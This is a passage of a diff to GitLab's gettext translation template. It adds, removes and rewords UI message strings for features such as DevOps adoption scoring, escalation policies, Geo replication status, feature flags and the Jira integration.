msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
